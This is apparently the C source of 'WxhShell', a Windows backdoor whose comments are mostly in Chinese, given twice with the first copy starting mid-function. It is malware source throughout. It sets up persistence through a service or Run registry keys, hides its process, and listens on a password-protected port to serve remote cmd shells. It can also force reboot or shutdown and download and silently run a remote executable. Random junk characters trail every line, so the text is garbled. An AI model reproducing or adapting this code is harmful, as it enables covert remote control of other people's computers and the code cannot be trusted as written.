    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xH\'gli/  
    if(Boot(SHUTDOWN)) \O?#gW\tR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K}O~tff  
    else { ^!|BKH8>f%  
    closesocket(wsh); WKpHb:H  
    ExitThread(0); .N] ^g#  
    } pTmG\wA~$  
    break; +D1;_DU  
    } +bd/*^  
  // 获取shell nF}]W14x  
  case 's': { 4;|&}Ij  
    CmdShell(wsh); Arz> P@EQ  
    closesocket(wsh); J?5O 2n  
    ExitThread(0); _'Q}Y nEv  
    break; :$[m[y7i  
  } ?S!lX[#v  
  // 退出 F1?@tcr'  
  case 'x': { Vm&fw".J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @ky5X V  
    CloseIt(wsh); }mz4 3Sq<  
    break; xYRL4  
    } [kz<2P  
  // 离开 h vGb9  
  case 'q': { g{l;v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O>w $  
    closesocket(wsh); =bf-+gZD  
    WSACleanup(); )T?w,"kI  
    exit(1); Czb@:l%sc  
    break; [m!\ZK  
        } ep[7#\}5  
  } ? _[gs/i}  
  } !e.@Xk.P6  
50rq} -  
  // 提示信息 n7X3aoVV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lc*i[J<s  
} Pp3tEZfE  
  } `EU=u_N  
1NN99^ q  
  return;  UX2`x9  
} sh}=#eb  
kY xn5+~  
// shell模块句柄 Vjj30f  
int CmdShell(SOCKET sock) @?*26}qp  
{ 5Z6$90!k  
STARTUPINFO si; |/ZpZ7  
ZeroMemory(&si,sizeof(si)); l[Ng8[R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ;{BELv-4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rq}ew0&/  
PROCESS_INFORMATION ProcessInfo; _l}&|:  
char cmdline[]="cmd"; $}W=O:L+D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $>5|TG 0i  
  return 0; (EuHQ &<^9  
} /$WEO[o  
Y'bDEdeT  
// 自身启动模式 "=9L7.E)  
int StartFromService(void) -UPdgZ_Vxz  
{ OyZgg(iN  
typedef struct G+^HZ4jg  
{ 0l^-[jK)  
  DWORD ExitStatus; @(Ou;Uy  
  DWORD PebBaseAddress; q+e'=0BHd:  
  DWORD AffinityMask; <G\q/!@_  
  DWORD BasePriority; : B$ d  
  ULONG UniqueProcessId; 6/.-V1*O  
  ULONG InheritedFromUniqueProcessId; vy1:>N?#5  
}   PROCESS_BASIC_INFORMATION; \ tF><  
h+CTi6-p  
PROCNTQSIP NtQueryInformationProcess; d1``} naNw  
m}Kn!21  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )@\= pE.H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~WehG<p v[  
I r<5%  
  HANDLE             hProcess; 1nX/5z_U  
  PROCESS_BASIC_INFORMATION pbi; [[Qu|?KEa  
29 Yg>R!/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <i%.bfQ/-  
  if(NULL == hInst ) return 0; Z-*L[  
m:)v>vu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yWsN G;>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GO+cCNMa"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UOy`N~\gh+  
: JD% =w_  
  if (!NtQueryInformationProcess) return 0; *(PGL YK  
AWi~qzTZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); loLQ@?E  
  if(!hProcess) return 0; :hwZz2Dhi  
>|/NDF=\s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B'lWs;  
o(u&n3Q'  
  CloseHandle(hProcess); a:XVu0`(  
!\z:S?V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Op, ?\   
if(hProcess==NULL) return 0; $ [by)  
(es+VI2!&C  
HMODULE hMod; nz3j";d  
char procName[255]; C;1A$]bk  
unsigned long cbNeeded; w9SPkPkYE  
SWN i@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `kpX}cKK}  
E*:!G  
  CloseHandle(hProcess); Q&opnvN  
+%OINMo.A  
if(strstr(procName,"services")) return 1; // 以服务启动 9gZMfP  
ra0:Lg'  
  return 0; // 注册表启动 0~iC#lHO  
} h q6B pE  
] QGYEjW  
// 主模块 nL%;^`*8  
int StartWxhshell(LPSTR lpCmdLine) %[u6<  
{ :2pd2S  
  SOCKET wsl; A[ 9 @:z  
BOOL val=TRUE; 2?u>A3^R  
  int port=0; 5Q#;4  
  struct sockaddr_in door; gbsRf&4h  
:!Wijdq  
  if(wscfg.ws_autoins) Install(); 6}='/d-[  
w,bILv)  
port=atoi(lpCmdLine); o@>{kzCx  
%6+J]U  
if(port<=0) port=wscfg.ws_port; A[oLV"J6x5  
1+~JGY#   
  WSADATA data; 7F5 t&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A{iI,IFe  
lTY%,s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    _CY>45  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *:J#[ET,  
  door.sin_family = AF_INET; %Koc^ pb)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?VrZM  
  door.sin_port = htons(port); M[}EVt~  
)z&0 g2Am  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (Z"QHfO'  
closesocket(wsl); f{xR s-u]  
return 1; 9_h 3<3e  
} /e1m1B  
7 Bm 18  
  if(listen(wsl,2) == INVALID_SOCKET) { 7Fw`s@/%  
closesocket(wsl); @[u!  
return 1; CP_ ?DyWU  
} u 'DM?mV:-  
  Wxhshell(wsl); S8*VjG?T\  
  WSACleanup(); -CfGWO#Gbx  
}ddwL  
return 0; 0@d)DLM?  
<MZ$baK  
} }M'h 5x  
Ev* b  
// 以NT服务方式启动 #u~s,F$De  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OLJb8kO  
{ FL% GW:  
DWORD   status = 0; 6kuN)  
  DWORD   specificError = 0xfffffff; ;<`F[V Zau  
ztf VXmi'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9PjL 4A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :VP4|H#SP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &I: [ 'l!  
  serviceStatus.dwWin32ExitCode     = 0; LuY`mi  
  serviceStatus.dwServiceSpecificExitCode = 0; lA {  
  serviceStatus.dwCheckPoint       = 0; {[G2{ijRz  
  serviceStatus.dwWaitHint       = 0; zqfv|3-!}  
*')BP;|V`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y,RED5]t  
  if (hServiceStatusHandle==0) return; vK6YU9W~J  
tt%Zwf  
status = GetLastError(); zIt-mU  
  if (status!=NO_ERROR) V2sWcV?  
{ eT1b88_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Q4U<`ds!  
    serviceStatus.dwCheckPoint       = 0; In^MZ)?  
    serviceStatus.dwWaitHint       = 0; x3=W{Fv@4  
    serviceStatus.dwWin32ExitCode     = status; i)f3\?,,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8v@6 &ras@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @;kw6f:{d  
    return; 26JP<&%L  
  } E]w1!Ah M  
g]85[xz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H+vONg  
  serviceStatus.dwCheckPoint       = 0; i3t=4[~oL  
  serviceStatus.dwWaitHint       = 0; yjs5=\@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R5 47  
} L0uvRge  
<q hNX$t  
// 处理NT服务事件,比如:启动、停止 j)ZvlRi,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N ?Jr8  
{ :J]S+tQ)  
switch(fdwControl) B+S &vV  
{ *%1:="W*|  
case SERVICE_CONTROL_STOP: IF~i*  
  serviceStatus.dwWin32ExitCode = 0; },'hhj]O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O$u;]cg  
  serviceStatus.dwCheckPoint   = 0; (q`Jef  
  serviceStatus.dwWaitHint     = 0; *zeY<6  
  { loN!&YceW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j[NA3Vj1P  
  } #S2LQ5U  
  return; {`QF(WL  
case SERVICE_CONTROL_PAUSE: J0zudbP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^-{ 1]G:  
  break; MV6 %~T  
case SERVICE_CONTROL_CONTINUE: nL!h hseH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vLn<=.  
  break; aGVzg$  
case SERVICE_CONTROL_INTERROGATE: x n)FE4  
  break; zOYkkQE3mJ  
}; HRIf)n&~f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F7a &-  
} u_.V]Rjc  
/{YUM~  
// 标准应用程序主函数 #b\&Md|;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >C"cv^%c  
{ &b,.W; +  
zYpIG8"o5  
// 获取操作系统版本 pC(AM=RY!  
OsIsNt=GetOsVer(); SdC505m0*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1  6;l,@  
r4t|T^{sl  
  // 从命令行安装 l2GMVAca  
  if(strpbrk(lpCmdLine,"iI")) Install(); EA7]o.Nm*{  
G?\o_)IJ  
  // 下载执行文件 6;Cr92  
if(wscfg.ws_downexe) { RK(uC-l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U y^Hh4|  
  WinExec(wscfg.ws_filenam,SW_HIDE); }#z E`IT  
} K4SR`Q  
+P|$T:b  
if(!OsIsNt) { gJi11^PK  
// 如果时win9x,隐藏进程并且设置为注册表启动 S1uW`zQ!+_  
HideProc(); DamLkkoA  
StartWxhshell(lpCmdLine); 9 U1)sPH;  
} 9bgKu6-X  
else M_MiY|%V/K  
  if(StartFromService()) .Y'kDuUu  
  // 以服务方式启动 .6!]RA5!=  
  StartServiceCtrlDispatcher(DispatchTable); !? ?Cxs'  
else Oz^+;P1  
  // 普通方式启动 ]@l~z0^|[_  
  StartWxhshell(lpCmdLine); &k\7fvF  
6_;3   
return 0; ERL(>)  
} ;G!X?(%+  
Wr`=P,  
2t1WbP1  
`@ qSDW!b  
=========================================== ; 5my(J*b  
51`w.ri  
}n=Tw92g  
yN{Ybp  
@`}'P115@  
Ul@ZCv+  
" 1|/2%IDUI  
oLruYSaD  
#include <stdio.h> tl;?/  
#include <string.h> C'n 9n!hR  
#include <windows.h> $0LlaN@e  
#include <winsock2.h> Iay7Fkv  
#include <winsvc.h> =eac,]31  
#include <urlmon.h> `<HY$PAe  
A6iyJFm D  
#pragma comment (lib, "Ws2_32.lib") Uj k``;  
#pragma comment (lib, "urlmon.lib") _I{&5V~z  
2:pq|eiF  
#define MAX_USER   100 // 最大客户端连接数 ih+kh7J-  
#define BUF_SOCK   200 // sock buffer DX$`\PA  
#define KEY_BUFF   255 // 输入 buffer MLBZmM '  
q6j]j~JxB  
#define REBOOT     0   // 重启 7MGc+M(p  
#define SHUTDOWN   1   // 关机 `9K'I-hv<8  
Om}&`AP};  
#define DEF_PORT   5000 // 监听端口 4i~;Ql  
y9s5{\H  
#define REG_LEN     16   // 注册表键长度 NLz$jk%=g  
#define SVC_LEN     80   // NT服务名长度 G>:l(PW:  
c |C12b[  
// 从dll定义API 2"__jp:(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =PZs'K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G)<k5U4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X/7: *  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <5$= Ta  
H>DJ-lG(  
// wxhshell配置信息 w-\fCp )  
struct WSCFG { jC\R8_  
  int ws_port;         // 监听端口 yaX,s 4p  
  char ws_passstr[REG_LEN]; // 口令 c,D'Hl6(%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ok:@F/ v  
  char ws_regname[REG_LEN]; // 注册表键名 !)\`U/.W  
  char ws_svcname[REG_LEN]; // 服务名 ~NTpMF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #;mZ3[+i5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wfZ 'T#1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jG.*tuf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O-y"]Wrv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U-lN_?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O'wN4qb=F  
fptW#_V2  
}; 5;|9bWH  
gj'ar  
// default Wxhshell configuration r{<u\>6X>P  
struct WSCFG wscfg={DEF_PORT, CZa9hsM  
    "xuhuanlingzhe", lO9>?y8.y  
    1, t]@ Zd*  
    "Wxhshell", a"EQldm|d  
    "Wxhshell", 7=<PVJ*/  
            "WxhShell Service", VJ$C)0xQA  
    "Wrsky Windows CmdShell Service", C/cGr)|8%  
    "Please Input Your Password: ", )0GnTB;5Z  
  1, t TmFJ5  
  "http://www.wrsky.com/wxhshell.exe", '<}7bw}+c  
  "Wxhshell.exe" 4u(}eE f7  
    }; @O3w4Zs  
J}YI-t  
// 消息定义模块 =~arj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oVhw2pKpM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; We4 FR4`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z)]EB6uRg  
char *msg_ws_ext="\n\rExit."; O%)9t FT  
char *msg_ws_end="\n\rQuit."; ad~ qr n\  
char *msg_ws_boot="\n\rReboot..."; )RkU='lB "  
char *msg_ws_poff="\n\rShutdown..."; BT#>b@Xub  
char *msg_ws_down="\n\rSave to "; T,IV)aq  
I;|Aiu*  
char *msg_ws_err="\n\rErr!"; hZ#tB  
char *msg_ws_ok="\n\rOK!"; KXM-GIRUG  
~::R+Lh(  
char ExeFile[MAX_PATH]; woT"9_tN  
int nUser = 0; pts}?   
HANDLE handles[MAX_USER]; k}O|4*.BT  
int OsIsNt; y$&a(S]  
dyp] y$  
SERVICE_STATUS       serviceStatus; ,-1$Vh@wM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'w!gQ#De  
(o:Cxh V  
// 函数声明 "p; DQ-V  
int Install(void); p}.b#{HJ  
int Uninstall(void); s7 KKH w  
int DownloadFile(char *sURL, SOCKET wsh); b{ozt\:M  
int Boot(int flag); Ly<;x^D  
void HideProc(void); '|/_='  
int GetOsVer(void); :aqh8b v  
int Wxhshell(SOCKET wsl); $oQsh|sTI  
void TalkWithClient(void *cs); FKx9$B  
int CmdShell(SOCKET sock); ]EcZ|c7o9y  
int StartFromService(void); b mm@oi  
int StartWxhshell(LPSTR lpCmdLine); ^VIUXa  
9j2I6lGQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E 5t+;vL~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z\h+6FCD  
PHK#b.B>a8  
// 数据结构和表定义 vedMzef[@>  
SERVICE_TABLE_ENTRY DispatchTable[] = ]~.J@ 1?  
{ pjCWg 4ya  
{wscfg.ws_svcname, NTServiceMain}, ]6;AK\9TM  
{NULL, NULL} m c+wRx  
}; 1b7xw#gLx  
L@_">' pR  
// 自我安装 F=om^6G%X5  
int Install(void)  b:QFD|  
{ _tReZ(Vw  
  char svExeFile[MAX_PATH]; $.N~AA~0  
  HKEY key; <ut DZ#k  
  strcpy(svExeFile,ExeFile); Crhi+D  
M96( Rg  
// 如果是win9x系统,修改注册表设为自启动 WhZaq  
if(!OsIsNt) { Y+ Z9IiS7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jDX<iX%e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BR^J y<^F'  
  RegCloseKey(key); k2uiu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cXY'>N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NN 6KLbC(  
  RegCloseKey(key); YU=ZZEVi  
  return 0; !ix<|F5  
    } oe |e+  
  } (`]*Y(/2G  
} lZM3Q58?\  
else { ?a>7=)%AH  
~snF20  
// 如果是NT以上系统,安装为系统服务 d `kM0C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ING_:XpnJ  
if (schSCManager!=0) EOX_[ek7  
{ @7s,| \  
  SC_HANDLE schService = CreateService .Sr:"SrT  
  ( pRwGv  
  schSCManager, K`,d$  
  wscfg.ws_svcname, &@HNz6KO  
  wscfg.ws_svcdisp, 7+a%ehwU  
  SERVICE_ALL_ACCESS, N+M&d3H`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , = b<<5N s  
  SERVICE_AUTO_START, Ydh<TF4!  
  SERVICE_ERROR_NORMAL, z g7l>9Sc  
  svExeFile, 'K3 s4x($  
  NULL, _ML~c&9jv  
  NULL, [DxefYyI  
  NULL, QG|GXp_q`  
  NULL, %x6Ov\s2  
  NULL !p,hy `  
  ); ?JgO-.  
  if (schService!=0) lP*  
  { \$'m ^tVU  
  CloseServiceHandle(schService); '^U tbp2<  
  CloseServiceHandle(schSCManager); (~Uel1~@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V[Rrst0yo  
  strcat(svExeFile,wscfg.ws_svcname); IE)"rTI)b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WY"Y)S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3kiE3*H  
  RegCloseKey(key); OwA~(  
  return 0; V5O=iMP  
    } R6!cK[e]4  
  } $>r>0S#+\&  
  CloseServiceHandle(schSCManager); u`Z0{d  
} ov`^o25f  
} WQ[}&kY~  
c6,s+^^  
return 1; "Ap$ Jl B  
} #0bO)m+NZ  
d&|z=%9xl  
// 自我卸载 I7dm \|#  
int Uninstall(void) %j'G.*TD  
{ 1E5a(  
  HKEY key; ~=:2~$gsn  
_F`$ d2  
if(!OsIsNt) { lt{lpH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b4Z`y8=  
  RegDeleteValue(key,wscfg.ws_regname); 7fju  
  RegCloseKey(key); "1XXE3^^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *jM_wwG  
  RegDeleteValue(key,wscfg.ws_regname); +yf(Rs)!  
  RegCloseKey(key); zoZ<)x=;  
  return 0; >4n+PXRXX  
  } J~Cc9"(  
} D|@bGN  
} b TLMd$  
else { 4q>7OB:e  
BBHK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d_Q*$Iz)3  
if (schSCManager!=0) B7!<{i  
{ #D+7TWDwNt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?y ~TCqV  
  if (schService!=0) #`W=m N(+k  
  { *cbeyB{E  
  if(DeleteService(schService)!=0) { 'X7%35Y  
  CloseServiceHandle(schService); '_:(oAi,C  
  CloseServiceHandle(schSCManager); 7~_I=-  
  return 0; *GQDfs`m  
  } jY7=mAd  
  CloseServiceHandle(schService); lT8#bA  
  } & _; y.!  
  CloseServiceHandle(schSCManager); qgoJ4Z*  
} %2f//SZ:  
} ^+ZgWS^%  
$ +;+:K  
return 1; dsJm>U)  
} veeI==]  
_V@WNo%B  
// 从指定url下载文件 5%*w<6<_z  
int DownloadFile(char *sURL, SOCKET wsh) 6{q;1-8j+j  
{ 9Ycn0  
  HRESULT hr; :0$a.8Y\++  
char seps[]= "/"; 8S\RN&T$  
char *token; xH-X|N  
char *file; !b8uLjd;  
char myURL[MAX_PATH]; {( #zcK  
char myFILE[MAX_PATH]; ! QM.P t7c  
EIjI!0j  
strcpy(myURL,sURL);  Tc6:UF  
  token=strtok(myURL,seps); 0Vkl`DmeM.  
  while(token!=NULL) LxLy+yC#p  
  { IOL L1ar  
    file=token; ';0 qj$ #  
  token=strtok(NULL,seps); %Y]=1BRk}  
  } F/p,j0S  
L*h{'<Bz  
GetCurrentDirectory(MAX_PATH,myFILE); *wuqa) q2  
strcat(myFILE, "\\"); !v|FT. T`  
strcat(myFILE, file); hn.bau[  
  send(wsh,myFILE,strlen(myFILE),0); 5 c5oSy+  
send(wsh,"...",3,0); !d,8kG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N|mJg[j@7  
  if(hr==S_OK) :w`3cw Q  
return 0; oRM)% N#  
else +x=)/;:  
return 1; UH? p]4Nz  
J NVr  
} &;E5[jO^D  
-#In;~  
// 系统电源模块 YAVy9$N-  
int Boot(int flag) %c|UmKKi  
{ .pPm~2]z  
  HANDLE hToken; <q (z>*-e  
  TOKEN_PRIVILEGES tkp; JTU#vq:TY  
~1 ~Xfo>  
  if(OsIsNt) { !345 %,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &Lm-()wb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D}3T|N  
    tkp.PrivilegeCount = 1; M;w?[yEZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $P z`$~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OFk8>"|  
if(flag==REBOOT) { oVvc?P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) omSM:f_~  
  return 0; P 1XK*GZ  
}  Ea6 &~"  
else {  6e,xDr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %" D%:   
  return 0; O`G/=/GZ  
} [AU II*:}  
  } O.G'?m<: #  
  else { ~y HU^5D  
if(flag==REBOOT) { wh6yPVVF/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S! Rc|6y%  
  return 0; sRSz}]  
} NLS"eD m  
else { kIHDeo%K}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _VE^/;$"l  
  return 0; Tm}rH]F&  
} O.aG[ wm8  
} gr-9l0u  
:W#rhuzC  
return 1; b-ll  
} qgIb/6;xQ  
Kt@M)#  
// win9x进程隐藏模块 ;~fT,7qBah  
void HideProc(void) r{\1wt  
{ L`f^y;Y.  
>~%e$a7}+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'c2W}$q  
  if ( hKernel != NULL ) T|J9cgtS  
  { _Zk{!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j',W 64  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P-F)%T[  
    FreeLibrary(hKernel); |4$M]Mf0  
  } ;g{qYj_  
r/pH_@  
return; JB!:JML  
} ! cKz7?w  
? WJ> p  
// 获取操作系统版本 |,9JNm$  
int GetOsVer(void) P96pm6H_;  
{ X%yO5c\l2  
  OSVERSIONINFO winfo; V5+SWXZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hxce\OuU0h  
  GetVersionEx(&winfo); ?X@fKAj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c/c$D;T  
  return 1; DN4$Jva  
  else )`^p%k  
  return 0; ^u 3V E  
} wFG3KzEq ~  
zD?oXs  
// 客户端句柄模块 8r3A~  
int Wxhshell(SOCKET wsl) /cc\fw1+  
{ ^C2\`jLMY  
  SOCKET wsh; 8~5cJPi6  
  struct sockaddr_in client; j ";2o(  
  DWORD myID; ECv)v  
j*~T1i  
  while(nUser<MAX_USER) 9UvXC)R1  
{ xf|mlHS+  
  int nSize=sizeof(client); % ,+leKs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q:J^"  
  if(wsh==INVALID_SOCKET) return 1; n3J53| %v  
NcY608C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JN7k2]{  
if(handles[nUser]==0) DTWD |M  
  closesocket(wsh); M'_9A  
else o)'y.-@Q  
  nUser++; V!)O6?l  
  } m3o,@=b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uZ;D!2Q a  
Nj(" |`9"  
  return 0; @LJpdvb  
} >>[ G1   
=]k {"?j  
// 关闭 socket L~s3b  
void CloseIt(SOCKET wsh) HF3f)}l$  
{ Rp$}YN  
closesocket(wsh); 1bGopi/  
nUser--; ek&kv#G  
ExitThread(0); $+7`Dy!  
} 7'OtruJ   
k__$ Q9qj(  
// 客户端请求句柄 +iI&c s  
void TalkWithClient(void *cs) I*VCpaA  
{ L<fvKmo(fw  
%Q!`NCe+[  
  SOCKET wsh=(SOCKET)cs; u :F~K  
  char pwd[SVC_LEN]; Bn!$UUC  
  char cmd[KEY_BUFF]; n`4K4y%Dy}  
char chr[1]; p019)X|vx  
int i,j; &d'Awvy0  
\Y{k7^G}A  
  while (nUser < MAX_USER) { F4e:ZExJ  
8Dvazg}4  
if(wscfg.ws_passstr) { zq%D/H6J,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uPniLx\t:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ncx(pp  
  //ZeroMemory(pwd,KEY_BUFF); J/3_C6UZ  
      i=0; 6)BR+U  
  while(i<SVC_LEN) { \w'*z&`W9  
3"{.37Q  
  // 设置超时 D\e8,,H  
  fd_set FdRead; fK(}Ce  
  struct timeval TimeOut; c5mZG7-  
  FD_ZERO(&FdRead); D0BI5q  
  FD_SET(wsh,&FdRead); M'!U<Y -  
  TimeOut.tv_sec=8; F-*2LMe  
  TimeOut.tv_usec=0; 1@lJonlF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5[Pr|AY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !\ g+8>  
2W$cFC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mLL340c#\  
  pwd=chr[0]; 9+keX{/c  
  if(chr[0]==0xd || chr[0]==0xa) { 07hF2[i  
  pwd=0; ]f1{n  
  break; BT@r!>Nl  
  } \.g\Zib )  
  i++; :g.46dp4  
    } 0VK-g}"x  
5K?}}Frrt`  
  // 如果是非法用户,关闭 socket _$>pw<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6_4D9 W  
} r `eU~7  
XQ*eP?OS{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fJWC)E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4GB7A]^E  
CpQN,-4  
while(1) { PH{_ ,X  
IMk'#)  
  ZeroMemory(cmd,KEY_BUFF); V:G>G'Eh0  
d9n?v)<v  
      // 自动支持客户端 telnet标准   F"N60>>  
  j=0; !u]1 dxa  
  while(j<KEY_BUFF) { WF\)fc#;_o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,y%3mR_~  
  cmd[j]=chr[0]; !s@Rok  
  if(chr[0]==0xa || chr[0]==0xd) { vp(;W,ba:|  
  cmd[j]=0; 0 &GRPu27  
  break; 6K-5g/hL  
  } W14 Vm(`N  
  j++; >s`J5I!  
    } &x > B  
".dZn6"mI  
  // 下载文件 rS1fK1dy s  
  if(strstr(cmd,"http://")) { _f6HAGDN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1@gguRF:  
  if(DownloadFile(cmd,wsh)) }y%oT P&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mR;qMX)0h  
  else 3z ]+uv+2J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qeu\&%C!<  
  } =tU{7i*+  
  else { VACiVKk  
